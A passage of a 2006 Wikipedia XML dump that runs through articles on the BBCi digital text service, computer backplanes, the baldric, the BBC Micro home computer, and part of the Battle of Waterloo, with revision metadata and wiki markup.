Initially launched in 1999, the BBCi digital text service (also formerly known as BBC Text) has been criticised for taking a long time to load and being hard to navigate. Navigating to lottery results requires navigating through many submenus, whilst on CEEFAX users could enter simply enter the page number 555. The BBC has attempted to rectify these problems by reintroducing page numbers - on [[November 10]] [[2004]] they introduced CEEFAX-style page numbers on Digital Satellite and page numbers on the Freeview service were introduced in [[December]] [[2004]]. The page numbers used are the same as those of CEEFAX, although BBCi exclusive pages are given a 4 digit number.

The BBC services were delayed somewhat by the requirement by BSkyB to give their approval to any interactive software that uses the modified [[OpenTV]] interpreter in their [[Sky Digibox|proprietary set top box]].

In September 2005, BBCi launched an update to the interactivity available from the BBC's Radio channels on Freeview. Originally only Radiotext was available. After the update, users could access information about the programme, schedules, news, sport and weather.

The same team behind the BBC's digital text service also launched the early incarnations of the BBC's Interactive Wimbledon and Interactive Open Golf services in 2000, which were awarded an Interactive Bafta that year.

== See also ==

* [[MHEG|MHEG 5]] Programming Language for Freeview
* [[OpenTV]] C-based programming Language for digital satellite
* [[Liberate Technologies]] HTML-based programming language for digital cable.


== External links ==
* [http://www.bbc.co.uk/digital/tv/missing.shtml Guide to BBCi]
* [http://teletext.mb21.co.uk/gallery/digital/bbc-main.shtml BBC Text screenshots before its change to BBCi]

{{BBC}}
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  </page>
  <page>
    <title>Backplane</title>
    <id>4352</id>
    <revision>
      <id>41284522</id>
      <timestamp>2006-02-26T07:26:32Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">A '''backplane''' is a circuit board (usually a [[printed circuit board]]) that connects several [[electrical connector|connectors]] in parallel to each other, so that each [[pin]] of each connector is linked to the same relative pin of all the other connectors, forming a [[computer bus]].  It is used as a backbone to connect several printed circuit board cards together to make up a complete [[computer system]].  One popular early computer system that used this approach was called the [[S-100 bus]] because the connectors used had one hundred pins.  Some computers like the [[Apple II family | Apple II]] and the [[IBM PC]] integrated an internal backplane for [[expansion card]]s.

Backplanes are normally used in preference to cables because of their greater [[reliability]].  In a cabled system, the cables need to be flexed every time that a card is added to or removed from the system; and this flexing eventually causes mechanical failures.  A backplane does not suffer from this problem, so its service life is limited only by the longevity of its connectors.  For example, the [[DIN 41612]] connectors used in the [[VME]] bus system can withstand 50 to 500 insertions and removals (called ''mating cycles''), depending on their quality.

==Active vs. passive==
Backplanes have grown in complexity from the simple ISA (Industry Standard Architecture used in the original [[IBM PC]]) or [[S-100 bus|S-100]] style where all the connectors were connected to a common bus.  Because of limitations inherent in the [[Peripheral Component Interconnect|PCI]] specification for driving slots, backplanes are now offered as '''passive''' and '''active'''. Passive backplanes offer no active bus driving circuitry. Active backplanes include chips which [[buffer]] the various signals to the slots.  

In any case, a backplane is generally differentiated from a [[motherboard]] by the lack of on-board processing power where the [[Central processing unit|CPU]] is on a plug-in card.

==Backplanes in Storage==
Backplanes have also become common place for connecting multiple [[hard drive]]s to a single [[disk controller]]. Backplanes are commonly found in [[disk enclosure]]s, [[disk array]]s, and even in some [[server]]s.

[[Category:Computer hardware]]

[[de:Backplane]]
[[es:Backplane]]</text>
    </revision>
  </page>
  <page>
    <title>Baldric</title>
    <id>4353</id>
    <revision>
      <id>40436007</id>
      <timestamp>2006-02-20T15:07:08Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Belt]] to [[belt (clothing)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">A '''baldric''' is a wide, usually ornamental [[belt (clothing)|belt]] worn around the [[waist]] and over one [[shoulder]] that is typically used to carry [[weapon]]s (such as [[sword]]s). Baldrics are well-suited toward carrying larger weapons of this nature due to the support system offered by its unique design. The word baldric can also refer to any belt in general, but this usage is less popular.

Historically, baldrics were used to confer the rank of the one wearing it. They are still used to this day, but typically only with formal [[military]] wear.

{{clothing-stub}}</text>
    </revision>
  </page>
  <page>
    <title>BBC Micro</title>
    <id>4355</id>
    <revision>
      <id>42145534</id>
      <timestamp>2006-03-04T03:00:14Z</timestamp>
      <contributor>
        <username>Plugwash</username>
        <id>90028</id>
      </contributor>
      <comment>/* Specifications */</comment>
      <text xml:space="preserve">The '''BBC Micro''', affectionately known as the ''Beeb'', was an early [[home computer]]. It was designed and built by [[Acorn Computers Ltd]] for the [[British Broadcasting Corporation|British Broadcasting Corporation (BBC)]].

In the early [[1980s]], the BBC started what became known as the ''BBC Computer Literacy Project''. The project was initiated largely in response to an extremely influential BBC documentary ''The Mighty Micro'', in which Dr. [[Christopher Evans]] from the [[National Physical Laboratory, UK|National Physical Laboratory]] predicted the coming [[computer|(micro)computer]] revolution and its impact on the economy, industry and lifestyle of the [[United Kingdom]].

[[Image:BBC Micro.jpeg|right|300px|The '''BBC Micro'''.]]

==Background==

The BBC wanted to base its project on a [[microcomputer]] capable of performing various tasks which they could then demonstrate in their TV series ''The Computer Programme'' ([[1981]]). The list of topics included [[computer programming|programming]], [[computer graphics|graphics]], sound and music, [[Teletext]], controlling external hardware, [[artificial intelligence]] etc. It decided to badge a micro, then drew up a fairly ambitious (for its time) specification and asked for takers.

The BBC discussed the issue with [[Clive Sinclair|Sir Clive Sinclair]], who tried to offer the unsuccessful [[Grundy NewBrain]] micro to them, but it came nowhere near the specification the BBC had drawn up, and was rejected. The BBC made appointments to see several other British computer manufacturers, including [[Dragon Data, Ltd.|Dragon]] and [[Acorn Computers Ltd|Acorn]].

The Acorn team had been working on an upgrade to their existing '''[[Acorn Atom|Atom]]''' microcomputer. Known as the '''Proton''' it included better graphics and a faster 2 MHz [[MOS Technology]] [[MOS Technology 6502|6502]] [[Central processing unit|CPU]]. The machine was only in prototype form at the time, but the Acorn team, which relied largely on [[University of Cambridge|Cambridge]] students (such as the legendary [[Sophie Wilson|Roger Wilson]] and [[Steve Furber]]) worked through the night to get a working Proton together to show the BBC. The Acorn Proton was not only the only machine that came up to the BBC's specification, it also exceeded it in nearly every field. It was a clear winner.

It is rumoured that the BBC originally rejected the Proton, claiming that it did not portray the modern computer age correctly. Acorn countered this by submitting the Proton again, this time with the function keys painted a bright orange, and no other changes. It was accepted.

==Market impact==

The machine was released as the BBC Microcomputer in late [[1981]]. The machine was wildly popular in the UK; as with Sinclair's [[ZX Spectrum]], also released around that time, demand greatly exceeded supply and for some months there were long delays before customers received the machines they had ordered. A brief attempt to market the machine in the United States failed, due largely to the dominance of the [[Apple II family]]. The success of the machine in the [[United Kingdom|UK]] was largely due to its acceptance as an &quot;educational&quot; computer &amp;ndash; the vast majority of UK schools used BBC Micros to teach [[computer literacy]] and [[information technology]] skills.  [[Research Machines]] had, until this time, been one of the leaders in UK educational computer market. The BBC Micro was also a far more reliable and durable machine than Sinclair's ZX Spectrum, being able to cope with all the abuse that schoolchildren could throw at it. 

The &quot;Beeb&quot;, as it soon became known by its users, initially came in two models: the '''Model A''' and the '''Model B''', initially priced at £235 and £335 respectively but rising almost immediately to £299 and £399 due to increased costs ([http://www.stairwaytohell.com/hardware/cr-BBCMicro-CToday.html]).  Acorn anticipated the total sales to be around 12,000 units, but eventually more than 1 million BBC Micros were sold.

==Description==

===Hardware features, Models A and B===
The Model A had 16 [[kilobyte|KB]] of user [[random access memory|RAM]]; the Model B had 32 KB of user RAM. A particularly nice feature of the hardware was that the RAM was clocked at 4 [[megahertz|MHz]] with alternating accesses given to the CPU and the video display circuits, giving a fully unified memory address structure with no speed penalties. Most competing micros with memory mapped display incured CPU speed penalties depending on the actions of the video circuits (e.g. the [[Amstrad CPC]] and to a lesser extent the [[ZX Spectrum]]) or kept video memory completely separate from the CPU address pool (e.g. the [[MSX]]).

[[Image:BBC_Micro_rear.jpeg|right|thumb|320px|Rear of the '''BBC Micro'''. Ports from left to right: UHF Out, Video Out, RGB, RS423, Cassette, Analogue In and Econet.]]

The machine included a number of extra [[Input/output|I/O]] interfaces: serial and parallel printer ports, an 8-bit I/O port, four analogue inputs and an expansion connector that enabled other hardware to be connected. Also an interface called the Tube allowed a second processor to be added; this was soon used in third-party add-ons, including a [[Zilog Z80]] board and disk drive that allowed the BBC machine to run [[CP/M operating system|CP/M]] programs.  Possibly the most well known software to run on the Tube was an enhanced version of ''[[Elite (computer game)|Elite]]'' (see below). The Model A and the Model B were built on the same [[Printed circuit board|PCB]] and a Model A could be upgraded to a Model B without too much difficulty. Users wishing to run Model B software needed only to add the extra RAM and the user/printer [[MOS Technology 6522|6522]] VIA (which many games used for timers etc) and snip a link, a task which could be achieved without soldering. To do a full upgrade with all the external ports did however require soldering the connectors to the motherboard. 

An apparent oversight in the manufacturing process resulted in a significant number of Model Bs producing a constant buzzing noise from the built-in speaker. This fault could be partly rectified by a [[soldering]]-capable person by carrying out certain amendments to the hardware.

===Software and expandability===
[[Image:MrMephisto_1_BBCMicro.png|thumb|320px|Computer game ''Mr Mephisto''.]]
Large numbers of games were written for the Beeb, including the original version of the classic ''[[Elite (computer game)|Elite]]''. (It has been suggested, but not verified, that the world's first networked multiplayer game was written for the BBC computer, a strategy wargame of some kind). A range of hardware add-ons and expansions were available, and the machine had provisions for [[floppy disk]] drives and [[Econet|networking hardware]]. There were also sockets for the addition of extra [[Read-only memory|ROM]] chips.  The built-in ROM-resident [[BBC BASIC]] programming language [[interpreter (computer software)|interpreter]] was by far the most sophisticated of its time, and wholly supported the machine's educational focus. Advanced programs could be written without having to wade into the jungle of [[assembly language]] programming (necessary with many competing computers).  Should one want, or need, to do some assembly programming, BBC BASIC featured a built-in assembler.

==Successor machines and the retro scene==
A cut-down version of the BBC Micro, intended more for game playing was the [[Acorn Electron]] (1983); games were written specially for the Electron's more limited hardware, but they could usually also be run on the BBC.  Acorn introduced the Model B+ in mid 1985, increasing the total RAM to 64 KB and including floppy disk support as standard, but this had modest market impact.  The extra RAM in the '''Model B+''' BBC Micro was assigned as two blocks,  a block of 20 kB dedicated solely for screen display (so-called &quot;Shadow&quot; RAM) and a block of 12 kB of 'special' Sideways RAM.  The much-needed memory increase provided by this new 1985 'Beeb' was a welcome development, but was seen as a 18 months or so too late to challenge the increased specifications of new rival microcomputer systems.  [[Acorn_computers|Acorn]] also sold a version of the B+ with an addition 64 kB ( 4 × 16 kB &quot;Sideways&quot; RAM banks) to give a total RAM of 128 kB.

In [[1986]], Acorn followed up with the [[BBC Master]] series, which offered 128 kB memory and many other refinements which improved on the 1981 original.  This attracted more interest and was the target of more software, although at heart it was essentially the same 6502-based BBC architecture, with many of the upgrades that the original design had intentionally made possible (extra ROM software, extra paged RAM, second processors) now included on the circuit board—a market stopgap while Acorn developed their [[32-bit]] [[RISC]] project the [[Acorn Archimedes]].

[[As of 2005]], thanks to its ready expandability and I/O functions, there are still numbers of BBCs in use, and a [[retrocomputing]] community of dedicated users finding new things to do with the old hardware.  The British Railway Network is believed to still use BBCs to drive the video departure boards on station platforms, and they still survive in a few interactive displays in museums across the country (often with no maintenance since they were first built). There are also a number of BBC Micro [[Emulator|emulators]] for many OSes, so that even the original hardware is no longer necessary.

== Specifications ==

*2 [[megahertz|MHz]] [[MOS Technology]] [[MOS Technology 6502|6502A]] processor (6512A in model B+)
*32 KB [[Read-only memory|ROM]] (48 KB in model B+ due to the presence by default of the WD1770 disk filing system 16 KB &quot;DFS&quot; ROM) + (16 KB [[Acorn MOS|MOS]] (Machine Operating System), 16 KB read-only paged space defaulting to the [[BBC BASIC programming language|BBC BASIC]] EPROM)
*32 KB [[Random Access Memory|RAM]] (16 KB in model A, 64 KB in model B+)
*Full-travel [[computer keyboard|keyboard]] with a top row of ten red-orange [[function key]]s&amp;nbsp;&amp;nbsp;&lt;math&gt;f_0-f_9&lt;/math&gt;
*Highly configurable graphics display based on the [[Motorola 6845|Motorola CRTC6845]]. Eight graphics modes were provided by the system ROM:
**Modes 0 to 6 could display a choice of colours from a logical palette of sixteen, though only eight actual physical colours were available; the eight basic [[RGB color model#24-bit representation|RGB]] colours (black, red, green, yellow, blue, magenta, cyan, white) and said colours in a flashing state;
**Mode 7's [[Teletext]] capability was provided by a [[Mullard]] SAA5050 Teletext chip&lt;br /&gt;&lt;br /&gt;
:{|border=1 cellpadding=&quot;2&quot;
!rowspan=&quot;2&quot; width=&quot;20%&quot; align=&quot;center&quot; |Graphics mode
!colspan=&quot;2&quot; align=&quot;center&quot; |Resolution (X×Y)
!rowspan=&quot;2&quot; width=&quot;20%&quot; align=&quot;center&quot; |Hardware colours
!rowspan=&quot;2&quot; width=&quot;20%&quot; align=&quot;center&quot; |Video RAM&lt;br&gt;used (KB)
|-
!align=&quot;center&quot; width=&quot;20%&quot; |Char cells
!align=&quot;center&quot; width=&quot;20%&quot; |Pixels
|-
|align=&quot;center&quot;|0
|align=&quot;center&quot;|80 &amp;times; 32
|align=&quot;center&quot;|640 &amp;times; 256
|align=&quot;right&quot;|2
|align=&quot;right&quot;|20
|-
|align=&quot;center&quot;|1
|align=&quot;center&quot;|40 &amp;times; 32
|align=&quot;center&quot;|320 &amp;times; 256
|align=&quot;right&quot;|4
|align=&quot;right&quot;|20
|-
|align=&quot;center&quot;|2
|align=&quot;center&quot;|20 &amp;times; 32
|align=&quot;center&quot;|160 &amp;times; 256
|align=&quot;right&quot;|8
|align=&quot;right&quot;|20
|-
|align=&quot;center&quot;|3
|align=&quot;center&quot;|80 &amp;times; 25
|align=&quot;center&quot;| &amp;ndash; 
|align=&quot;right&quot;|2
|align=&quot;right&quot;|16
|-
|align=&quot;center&quot;|4
|align=&quot;center&quot;|40 &amp;times; 32
|align=&quot;center&quot;|320 &amp;times; 256
|align=&quot;right&quot;|2
|align=&quot;right&quot;|10
|-
|align=&quot;center&quot;|5
|align=&quot;center&quot;|20 &amp;times; 32
|align=&quot;center&quot;|160 &amp;times; 256
|align=&quot;right&quot;|4
|align=&quot;right&quot;|10
|-
|td align=&quot;center&quot;|6
|align=&quot;center&quot;|40 &amp;times; 25
|align=&quot;center&quot;| &amp;ndash; 
|align=&quot;right&quot;|2
|align=&quot;right&quot;|8
|-
|align=&quot;center&quot;|7
|align=&quot;center&quot;|40 &amp;times; 25
|align=&quot;center&quot;|Teletext
|align=&quot;right&quot;|8
|align=&quot;right&quot;|1
|}
&lt;br&gt;
*Four independent sound channels (one noise and 3 melodic) using the [[Texas Instruments SN76489]] [[sound chip]]
*Built-in hardware support included:
**Sidways (paged) 8K or 16K ROMs (of which the standard basic was one) up to 16 were supported by the software but only 4 by the standard hardware. Addon boards were made by a variety of companies to allow use of the full 16.
**[[compact audio cassette|tape]] interface (with motor control), using a variation of the [[Kansas City standard]] data encoding scheme
**[[Centronics]] parallel printer (model B only)
**serial communication (using [[RS-423]], a superset of [[RS-232]])
**display output for TV, RGB or 1v p-p video monitor
**four analogue inputs (suitable for two [[joystick]]s)
**proprietary &quot;Tube&quot; interface for external second CPU (options included a 3 MHz extra [[MOS Technology 6502|6502]], a [[Zilog Z80]] for e.g. [[CP/M operating system|CP/M]], an [[NS32016]], an [[ARM architecture|ARM1]], and others)
**a &quot;user port&quot; (model B only), and
**generic expansion through the &quot;1 MHz bus&quot;.
*Use of [[floppy disk]] drives required the installation of a [[Disk Filing System|DFS]] ROM (disk filing system) and a disk controller card based on the [[8271]] chip (later, and on the model B+, the [[WD1770]])
*Via &quot;The Tube&quot; a second CPU could be attached (including a 3 MHz extra [[MOS Technology 6502|6502]], a [[Zilog Z80]] for e.g. [[CP/M operating system|CP/M]], an [[NS32016]], an [[ARM architecture|ARM1]], and others)

*The default Model A/B motherboard could also be upgraded by adding the following components:
**&quot;Econet&quot; large-scale low-cost networking system
**ROM/RAM cartridge filing system via a slot to the left of the keyboard
**speech synthesis hardware (Very few people bothered with this upgrade - the synthesiser was rather limited, and some games programmers succeeded in producing more versatile software speech synthesis using only the standard sound hardware)
**Reset Button (It is doubtful if anyone ever added this, as a complete hardware reset can be accomplished by keyboard shortcuts at any time, even if the machine has crashed.)

The case was designed by industrial designer [[Allen Boothroyd]] of Cambridge Product Design Ltd.
The machine was produced in a warm yellow/cream colour, in contrast to the sterile beige boxes favoured by other manufacturers.  Somewhat amusingly, this means collectors of BBC computers do not need to worry as much about the dreaded &quot;yellowing&quot; that plagues the aging plastic housings of many other machines.
&lt;!--
**mode 0: 640&amp;times;256 (80&amp;times;32), 2 colours 
**mode 1: 320&amp;times;256 (40&amp;times;32), 4 colours 
**mode 2: 160&amp;times;256 (20&amp;times;32), 8 colours
**mode 3: 640&amp;times;200 (80&amp;times;25), 2 colours 
**mode 4: 320&amp;times;256 (40&amp;times;32), 2 colours 
**mode 5: 160&amp;times;256 (20&amp;times;32), 4 colours 
**mode 6: 320&amp;times;200 (40&amp;times;25), 2 colours 
**mode 7: 40&amp;times;25 [[teletext]], 8 colours and teletext graphics using the [[Mullard]] SAA5050 Teletext chip
--&gt;

== Trivia ==
* Musician [[Vince Clarke]] of the British synth pop bands [[Depeche Mode]], [[Yazoo (band)|Yazoo]], and [[Erasure]] used a BBC Micro (and later a [[BBC Master]]) with the UMI [[music sequencer]] to compose many hits. In [[music video]]s from the 1980s featuring Vince Clarke, a BBC Micro is often present or provides text and graphics such as the clip for Erasure's ''Oh L'Amour'' 

* In addition to Yazoo, also [[Queen (band)|Queen]] used the UMI Music Sequencer on their ''A Kind of Magic '' record. The UMI is also mentioned in the CD booklet. Other bands who have used the Beeb for making music are [[a-ha]] and the reggae band Steel Pulse.

* The BBC Micro provided in-game graphics for the BBC TV show &quot;[[The Adventure Game]]&quot;, where the BREAK key on the keyboard was covered by a plastic box to prevent accidental pressing.

* The opening sequence to series 1 of the BBC spoof comedy TV show &quot;[[Look Around You]]&quot; (6 * 10 minute episodes) featured a BBC Micro, running a rudimentary [[BASIC programming language|BASIC]] program.

== See also ==
* [[Acorn Archimedes]] &amp;ndash; the next generation BBC
* [[Risc PC]] &amp;ndash; the next generation Archimedes
* [[:Category:BBC Micro and Acorn Electron games]]

== External links ==
*[http://dmoz.org/Computers/Systems/Acorn/BBC/ BBC Micro page on dmoz]
*[http://www.nvg.ntnu.no/bbc/history.php3 The BBC Lives!]
**[http://www.nvg.org/bbc/doc/BBCUserGuide-1.00.pdf ''BBC Microcomputer System User Guide''] (PDF, 2.6 Mb)
*[http://www.stairwaytohell.com/ Stairway to Hell]
*[http://www.bbcmicrogames.com/ Only The Best BBC Micro Games]
*[http://www.videogamejunkie.co.uk/hardware/modelb/modelb.php BBC Micro page on Videogame Junkie]

{{Acorn_computers}}

[[Category:Acorn Computers]]
[[Category:Home computers]]
[[Category:BBC]]

[[de:BBC Micro]]
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    </revision>
  </page>
  <page>
    <title>Battle of Waterloo</title>
    <id>4356</id>
    <revision>
      <id>41452309</id>
      <timestamp>2006-02-27T12:29:16Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/194.154.22.53|194.154.22.53]] ([[User talk:194.154.22.53|talk]]) to last version by Dabbler</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Waterloo
|partof=the [[Napoleonic Wars|War of the Seventh Coalition]]
|image=[[Image:Sadler,_Battle_of_Waterloo.jpg|300px]]
|caption=The Battle of Waterloo by William Sadler
|date=[[June 18]], [[1815]]
|place=[[Waterloo, Belgium]] (''At that time located in the [[Kingdom of the Netherlands]]'')
|result=Decisive Allied victory
|combatant1=[[France]]
|combatant2=Anglo-Allied/[[Kingdom of Prussia|Prussian]]/ [[Netherlands|Dutch]]
|commander1=[[Napoleon I of France|Napoléon Bonaparte]]
|commander2=[[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]]&lt;br/&gt;[[Gebhard Leberecht von Blücher|Gebhard von Blücher]]
|strength1=73,000
|strength2=67,000 Anglo-Dutch&lt;br/&gt;60,000 Prussian (48,000 engaged by about 18:00)
|casualties1=25,000
|casualties2=22,000
}}
{{Campaignbox Waterloo}}
[[Image:Waterloo_campaign_map.png|thumb|300px|Map of the '''Waterloo''' campaign]]

The '''Battle of Waterloo''', fought on [[June 18]], [[1815]], was [[Napoleon I of France|Napoleon Bonaparte]]'s last battle. After his exile to [[Elba]], he had reinstalled himself on the throne of [[France]] for a [[Hundred Days]]. During this time, the forces of the rest of [[Europe]] converged on him, commanded by the [[United Kingdom]]'s [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]], and [[Prussia]]'s [[Gebhard Leberecht von Blücher|Gebhard von Blücher]].

The battlefield is in present day [[Belgium]], about 12 km (7.5 miles) SSE of [[Brussels]], and 2 km (1.2 miles) from the town of [[Waterloo, Belgium|Waterloo]], at {{coor dms|50|40|45|N|4|24|25|E|}}.

== Prelude ==

:''See main article [[Waterloo Campaign]]''

As far back as [[13 March]], six days before Napoleon reached [[Paris]], the powers at the [[Congress of Vienna]] declared him an [[outlaw]]; four days later the [[United Kingdom of Great Britain and Ireland|United Kingdom]], [[Russia]], [[Austria]] and [[Prussia]] bound themselves to put 150,000 men into the field to end his rule. Napoleon knew that, once his attempts at dissuading one or more of the allies from invading France had failed, his only chance of remaining in power was to attack before the Allies put together an overwhelming force. If he could destroy the existing Allied forces in Belgium before they were reinforced, he might be able to drive the British back to the sea and knock the Prussians out of the war. 

[[Image:Waterloo JPG01 (9).jpg|thumb|left|150px|A fine bronze eagle statue. A commemorative monument of the Battle of Waterloo standing in front of the &quot;Bivouac de l'Empereur&quot; inn.]]

Napoleon moved two armies, the Army of the North (AotN) and the Reserve Army (RA), up to the Belgium frontier without alerting the Allies. He crossed the frontier at [[Thuin]] near [[Charleroi]], engaging Prussian outposts, and split his army in two. He took the reserves and the right wing of the army and attacked the Prussians, under the command of [[Gebhard Leberecht von Blücher|General Blücher]], at the [[Battle of Ligny]] on [[June 16]] [[1815]]. The left wing of the army under [[Michel Ney|Marshal Ney]] proceeded to block the [[Nivelles]]-[[Namur (city)|Namur]] road at the crossroads of [[Quatre Bras]] so that the Anglo-Allied forces under the command of Wellington could not go to the aid of the Prussians. Ney's wing of the French army engaged Wellington's forces in the [[Battle of Quatre Bras]] on the same day as Napoleon engaged the Prussians. The outcome of the day of fighting was that, at Quatre Bras, Ney stopped any of Wellington's forces going to the aid of Blücher's Prussians and Napoleon, although unable to destroy the Prussian army, forced it to retreat in disarray.

[[Image:Waterloo JPG01 (10).jpg|thumb|left|Napoléon.|175px]]

This was part of Napoleon's strategy to split the much larger allied force into pieces that he could outnumber if he was allowed to attack them separately. His theory was based on the assumption that an attack through the centre of the allied forces would force the two main armies to retreat in the direction of their respective supply bases, which were in opposite directions. 

The general retreat of the Prussian army had taken it to the town of [[Wavre]], and this by default became the marshalling point of the army. The Prussian [[chief of staff]], General [[August von Gneisenau]], planned to further withdraw toward the [[Rhine]], away from the Anglo-Allied army. General Gneisenau believed that the British had failed in promises given to support the Prussians at the battle of Ligny. However, General Blücher arrived at Wavre - having fallen under his horse whilst leading a counter charge, and then been ridden over by French cavalry twice - and after a stormy meeting Gneisenau was persuaded to march upon Wellington's left flank at dawn with the I, II and IV Corps.  The IV Corps, under the command of General [[Friedrich Wilhelm Graf Bülow von Dennewitz|Bülow von Dennewitz]], had not been present at Ligny, but arrived to reinforce the Prussian army during the night of the 17th and 18th. III Corps formed the rearguard tasked with hindering the pursuit of the Prussian army by the French.

Ambiguous orders by Napoleon on the [[June 17|17th]] to his subordinate [[Marshal]] [[Emmanuel, marquis de Grouchy|Grouchy]], to pursue the Prussians with 30,000 men, contributed to Napoleon's eventual defeat. Grouchy, being a late riser, started the pursuit late on both the 17th and the 18th. On the 18th, with the right wing of the Army of the North, reinforced with a cavalry corps, he ignored [[Étienne Maurice Gérard|Gérard's]] advice to &quot;march to the sound of the guns&quot; and engaged the Prussian rearguard under the command of [[Lieutenant-General]] [[Baron]] [[Johann von Thielmann]] at the [[Battle of Wavre]].

After the Prussian defeat at Ligny, Wellington's position at Quatre Bras became untenable. During a stormy 17th, Wellington withdrew his army to the previously reconnoitered [[ridge]] at Mont St. Jean, about a mile south of his headquarters at [[Waterloo, Belgium|Waterloo]].  He was followed by the left wing of the French Army of the North under the command of [[Michel Ney|Marshal Ney]]. Napoleon joined Ney with most of the reserves which (along with the right wing of the Army of the North) had defeated the Prussians at Ligny.

== Order of Battle ==
:''See main article [[Order of Battle of the Waterloo Campaign]]''

The battle was to involve 73,000 French soldiers; while the Allied army from Britain, [[House of Hanover|Hanover]], [[Brunswick-Lüneburg#Brunswick-Wolfenbüttel|Brunswick]], and the [[United Kingdom of the Netherlands|Netherlands]] and [[Nassau (duchy)|Nassau]] were about 67,000 men strong. (Of the 26 infantry [[brigade]]s in Wellington's army, nine were British; of the 12 cavalry brigades, 7 were British. Half the 29 [[Artillery battery|batteries]] of guns were Hanoverian or Dutch). 

Two and a half Prussian army corps were engaged in the battle, attacking the French right flank, bringing the number of Prussians fully engaged by about 18:00 to 48,000 men. (Two divisions under [[Friedrich Wilhelm Freiherr von Bülow|Friedrich von Bülow]], commander of the IV Corps, attacked Lobau at 16:30, [[Georg Dubislav Ludwig von Pirch|Georg von Pirch's]] II Corps and parts of [[Hans Ernst Karl, Graf von Ziethen|Graf von Ziethen's]] I Corps engaged at about 18:00.)

== Battle ==

[[Image:Waterloo JPG01 (1).jpg|thumb|right|The famous &quot;morne plaine&quot; described by [[Victor Hugo]] and the Lions' Hillock.|300px]]

At Waterloo, Wellington had the reinforced [[Hougomont]] farm, anchoring his right flank, and several other farms on his left. Napoleon faced his first major problem even before the battle began. Unsure of the Prussian Army's position since its flight from Ligny two days previously, Napoleon was all too aware of the need to begin the assault on Wellington's positions. The battle commenced at about 10:00 with an attack upon Hougoumont{{ref|start}}, but the main attack, with the most feared weapon of the era, the French [[field artillery]], was delayed for hours until the sodden ground from the previous nights's downpour had dried out sufficiently to take the weight of the French ordnance. The mud also hindered infantry and cavalry as they trudged into position. When the French artillery eventually opened fire on Wellington's ridge at around 11:35, the expected impact on the Allied troops was diminished by the soft terrain that absorbed the impact of many of the cannon balls. In addition, Wellington had characteristically placed the majority of the Allied army behind the ridgeline - a &quot;[[reverse slope defence]]&quot; - so as to shield the army from the expected barrage.

A crucial element of the French plan of battle was the expectation that Wellington would move his reserve to his right flank in defense of Hougomont. At one point, the French succeeded in breaking into the farm's courtyard before being repulsed, but their attacks on the farm were eventually unsuccessful, and Wellington did not need to use his reserve. Hougomont became a battle within a battle and, throughout that day, its defence continued to draw thousands of valuable French troops, under the command of Jerome Bonaparte, into a fruitless attack while all but a few of Wellington's reserves remained in his centre.

[[Image:Battle of Waterloo map.png|thumb|left|250px|Map of the battle.  French units are in blue, Anglo-Dutch units in red, Prussian in black.]]

At about 13:30, after receiving news of the Prussian advance to his right, Napoleon ordered Marshal Ney to send [[Jean-Baptiste Drouet (Napoleonic soldier)|d'Erlon]]'s infantry forward against Wellington's centre left passing to the east of the farm [[La Haye Sainte]]. The attack centred on the Dutch 1st Brigade commanded by Major-General [[Willem Frederik van Bylandt]], which was one of the few units placed on the forward slope of the ridge. After suffering an intense artillery bombardment and exchanging volleys with d'Erlon's leading elements for some nine minutes, van Bylandt's outnumbered soldiers were forced to retreat over the ridge and through the lines of General [[Thomas Picton]]'s division. Picton's division included veteran regiments from the [[Peninsular War|Peninsular campaign]] among which were the Highland regiments, some of the few battle-hardened regiments that remained with Wellington's British contingent at Waterloo. Picton's division moved forward over the ridgeline to engage d'Erlon. The British were likewise mauled by volley-fire and close-quarter attacks, but Picton's soldiers stood firm, eventually breaking up the attack by charging the French columns.
 
Cavalry formations were ordered to charge in support of the infantry attack; the Household Brigade (1st and 2nd Life Guards and Royal Horse Guards), the Union Brigade (Royals, [[Scots Greys]] and Inniskillings) and Vivian’s Hussar Brigade (10th and 18th Hussars and 1st Hussars, [[King's German Legion]]). The French assault was then driven off by the British heavy cavalry commanded by [[Henry William Paget, 1st Marquess of Anglesey|Uxbridge]] in the famous charge of the Scots Greys. The cavalry charge destroyed d'Erlon's column, but, rather than reform, they galloped on to attack French guns and were in turn counterattacked by French cavalry. Major-General [[William Ponsonby]], commanding the Union Brigade was killed. This spectacular event cost the heavy cavalry so dearly that, collectively, they played little part in the remainder of the battle. 

Meanwhile, the Prussians began to appear on the field. Napoleon sent his reserve, Lobau's VI corps and 2 cavalry divisions, some 15,000 troops, to hold them back. With this, Napoleon had committed all of his infantry reserves, except the Guard. 

When Napoleon unexpectedly left the field in the early afternoon (an incident disputed among historians), Ney, the epitome of French [[wikt:elan|élan]], mistook an Allied manoeuvre to reposition further back from the ridge as a general retreat. With no consultation, and without any participation by infantry or artillery, he ordered one cavalry regiment to advance, then another, then another until a massed assault of over 5,000 cavalry was thundering - and struggling - up the steep slope. Historian [[David Hamilton-Williams]] contends that as Napoleon had not left the field, and as the positioning of the cavalry before the attack took over an half hour, there was ample time to countermand Ney, leading him to the conclusion that the cavalry charge was ordered by the Emperor himself{{fact}}.

The cavalry attacks were repeatedly repelled by the solid Allied infantry squares (four ranks deep with fixed bayonets - vulnerable to artillery or infantry, but deadly to cavalry), the harrying fire of British artillery as the French cavalry recoiled down the slopes to regroup, and the decisive counter-charges of the Allied Light Cavalry regiments and the Dutch Heavy Cavalry Brigade. After numerous fruitless attacks on the Allied ridge, the French cavalry was exhausted.  

